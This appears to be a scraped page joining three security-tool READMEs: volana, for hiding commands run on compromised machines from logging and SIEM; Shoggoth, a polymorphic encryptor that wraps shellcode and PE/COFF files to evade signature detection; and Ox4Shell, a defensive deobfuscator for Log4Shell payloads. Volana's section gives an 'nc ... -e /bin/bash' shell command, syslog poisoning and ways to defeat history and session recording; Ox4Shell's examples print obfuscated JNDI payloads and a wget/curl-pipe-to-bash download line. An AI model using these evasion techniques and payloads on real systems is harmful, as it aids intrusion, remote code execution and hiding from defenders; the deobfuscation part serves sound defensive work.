Login
During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.volana provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage
You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed
FreshRSS ## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## Execute it
./volana
## You are now under the radar
volana Β» echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana Β» [command]
Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console
Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.
On attacker machine
## Build volana with encryption key
make build.volana-with-encryption
## Transfer it on TARGET (the unique detectable command)
## [...]
## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND
Copy encrypted command and executed it with your rce on target machine
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)
Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash
Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.
Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.
By detected we mean if we are able to trigger an alert if a certain command has been executed.
Only the volana launching command line will be catched. π§ However, by adding a space before executing it, the default bash behavior is to not save it
.bash_history, ".zsh_history" etc ..opensnoop)script, screen -L, sexonthebash, ovh-ttyrec, etc..)pkill -9 script
screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)volana with encryption /var/log/auth.log)sudo or su commandslogger -p auth.info "No hacker is poisoning your syslog solution, don't worry")LD_PRELOAD injection to make logSorry for the clickbait title, but no money will be provided for contibutors. π
Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system
Shoggoth is an open-source project based on C++ and asmjit library used to encrypt given shellcode, PE, and COFF files polymorphically.
Shoggoth will generate an output file that stores the payload and its corresponding loader in an obfuscated form. Since the content of the output is position-independent, it can be executed directly as a shellcode. While the payload is executing, it decrypts itself at runtime. In addition to the encryption routine, Shoggoth also adds garbage instructions, that change nothing, between routines.
I started to develop this project to study different dynamic instruction generation approaches, assembly practices, and signature detections. I am planning to regularly update the repository with my new learnings.
Current features are listed below:
The general execution flow of Shoggoth for an input file can be seen in the image below. You can observe this flow with the default configurations.
Basically, Shoggoth first merges the precompiled loader shellcode according to the chosen mode (COFF or PE file) and the input file. It then adds multiple garbage instructions it generates to this merged payload. The stub containing the loader, garbage instruction, and payload is encrypted first with RC4 encryption and then with randomly generated block encryption by combining corresponding decryptors. Finally, it adds a garbage instruction to the resulting block.
While Shoggoth randomly generates instructions for garbage stubs or encryption routines, it uses AsmJit library.
AsmJit is a lightweight library for machine code generation written in C++ language. It can generate machine code for X86, X86_64, and AArch64 architectures and supports baseline instructions and all recent extensions. AsmJit allows specifying operation codes, registers, immediate operands, call labels, and embedding arbitrary values to any offset inside the code. While generating some assembly instructions by using AsmJit, it is enough to call the API function that corresponds to the required assembly operation with assembly operand values from the Assembler class. For each API call, AsmJit holds code and relocation information in its internal CodeHolder structure. After calling API functions of all assembly commands to be generated, its JitRuntime class can be used to copy the code from CodeHolder into memory with executable permission and relocate it.
While I was searching for a code generation library, I encountered with AsmJit, and I saw that it is widely used by many popular projects. That's why I decided to use it for my needs. I don't know whether Shoggoth is the first project that uses it in the red team context, but I believe that it can be a reference for future implementations.
Shoggoth can be used to encrypt given PE and COFF files so that both of them can be executed as a shellcode thanks to precompiled position-independent loaders. I simply used the C to Shellcode method to obtain the PIC version of well-known PE and COFF loaders I modified for my old projects. For compilation, I used the Makefile from HandleKatz project which is an LSASS dumper in PIC form.
Basically, in order to obtain shellcode with the C to Shellcode technique, I removed all the global variables in the loader source code, made all the strings stored in the stack, and resolved the Windows API functions' addresses by loading and parsing the necessary DLLs at runtime. Afterward, I determined the entry point with a linker script and compiled the code by using MinGW with various compilation flags. I extracted the .text section of the generated executable file and obtained the loader shellcode. Since the executable file obtained after editing the code as above does not contain any sections other than the .text section, the code in this section can be used as position-independent.
The source code of these can be seen and edited from COFFLoader and PELoader directories. Also compiled versions of these source codes can be found in stub directory. For now, If you want to edit or change these loaders, you should obey the signatures and replace the precompiled binaries from the stub directory.
Shoggoth first uses one of the stream ciphers, the RC4 algorithm, to encrypt the payload it gets. After randomly generating the key used here, it encrypts the payload with that key. The decryptor stub, which decrypts the payload during runtime, is dynamically created and assembled by using AsmJit. The registers used in the stub are randomly selected for each sample.
I referenced Nayuki's code for the implementation of the RC4 algorithm I used in Shoggoth.
After the first encryption is performed, Shoggoth uses the second encryption which is a randomly generated block cipher. With the second encryption, it encrypts both the RC4 decryptor and optionally the stub that contains the payload, garbage instructions, and loader encrypted with RC4. It divides the chunk to be encrypted into 8-byte blocks and uses randomly generated instructions for each block. These instructions include ADD, SUB, XOR, NOT, NEG, INC, DEC, ROL, and ROR. Operands for these instructions are also selected randomly.
Generated garbage instruction logic is heavily inspired by Ege Balci's amazing SGN project. Shoggoth can select garbage instructions based on jumping over random bytes, instructions with no side effects, fake function calls, and instructions that have side effects but retain initial values. All these instructions are selected randomly, and generated by calling the corresponding API functions of the AsmJit library. Also, in order to increase both size and different combinations, these generation functions are called recursively.
There are lots of places where garbage instructions can be put in the first version of Shoggoth. For example, we can put garbage instructions between block cipher instructions or RC4 cipher instructions. However, for demonstration purposes, I left them for the following versions to avoid the extra complexity of generated payloads.
I didn't compile the main project. That's why you have to compile yourself. Optionally, if you want to edit the source code of the PE loader or COFF loader, you should have MinGW on your machine to compile them by using the given Makefiles.
______ _ _
/ _____) | _ | |
( (____ | |__ ___ ____ ____ ___ _| |_| |__
\____ \| _ \ / _ \ / _ |/ _ |/ _ (_ _) _ \
_____) ) | | | |_| ( (_| ( (_| | |_| || |_| | | |
(______/|_| |_|\___/ \___ |\___ |\___/ \__)_| |_|
(_____(_____|
by @R0h1rr1m
"Tekeli-li! Tekeli-li!"
Usage of Shoggoth.exe:
-h | --help Show the help message.
-v | --verbose Enable more verbose output.
-i | --input <Input Path> Input path of payload to be encrypted. (Mandatory)
-o | --output <Output Path> Output path for encrypted input. (Mandatory)
-s | --seed <Value> Set seed value for randomization.
-m | --mode <Mode Value> Set payload encryption mode. Available mods are: (Mandatory)
[*] raw - Shoggoth doesn't append a loader stub. (Default mode)
[*] pe - Shoggoth appends a PE loader stub. The input should be valid x64 PE.
[*] coff - Shoggoth appends a COFF loader stub. The input should be valid x64 COFF.
--coff-arg <Argument> Set argument for COFF loader. Only used in COFF loader mode.
-k | --key <Encryption Key> Set first encryption key instead of random key.
--dont-do-first-encryption Don't do the first (stream cipher) encryption.
--dont-do-second-encryption Don't do the second (block cipher) encryption.
--encrypt-only-decryptor Encrypt only decryptor stub in the second encryption.
"It was a terrible, indescribable thing vaster than any subway trainβa shapeless congeries of protoplasmic bubbles, faintly self-luminous, and with myriads of temporary eyes forming and un-forming as pustules of greenish light all over the tunnel-filling front that bore down upon us, crushing the frantic penguins and slithering over the glistening floor that it and its kind had swept so evilly free of all litter." ~βH. P. Lovecraft, At the Mountains of Madness
A Shoggoth is a fictional monster in the Cthulhu Mythos. The beings were mentioned in passing in H. P. Lovecraft's sonnet cycle Fungi from Yuggoth (1929β30) and later described in detail in his novella At the Mountains of Madness (1931). They are capable of forming whatever organs or appendages they require for the task at hand, although their usual state is a writhing mass of eyes, mouths, and wriggling tentacles.
Since these creatures are like a sentient blob of self-shaping, gelatinous flesh and have no fixed shape in Lovecraft's descriptions, I want to give that name to a Polymorphic Encryptor tool.
Deobfuscate Log4Shell payloads with ease.
Since the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.
This tool intends to unravel the true contents of obfuscated Log4Shell payloads.
For example, consider the following obfuscated payload:
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
After running Ox4Shell, it would transform into an intuitive and readable form:
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
This tool also aids to identify and decode base64 commands For example, consider the following obfuscated payload:
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
After running Ox4Shell, the tool reveals the attackerβs intentions:
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
Ox4Shell with a provided file (-f) rather than an inline payload (-p), because certain shell environments will escape important characters, therefore will yield inaccurate results.To run the tool simply:
~/Ox4Shell ΓΒ» python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)
____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|
Ox4Shell - Deobfuscate Log4Shell payloads with ease.
Created by https://oxeye.io
General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The ma ximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)
Targets:
Choose which target payloads to run Ox4Shell on
-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
The Log4j library has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted.
Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value.
The default set of mock data provided is:
{
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability:
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a}The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.
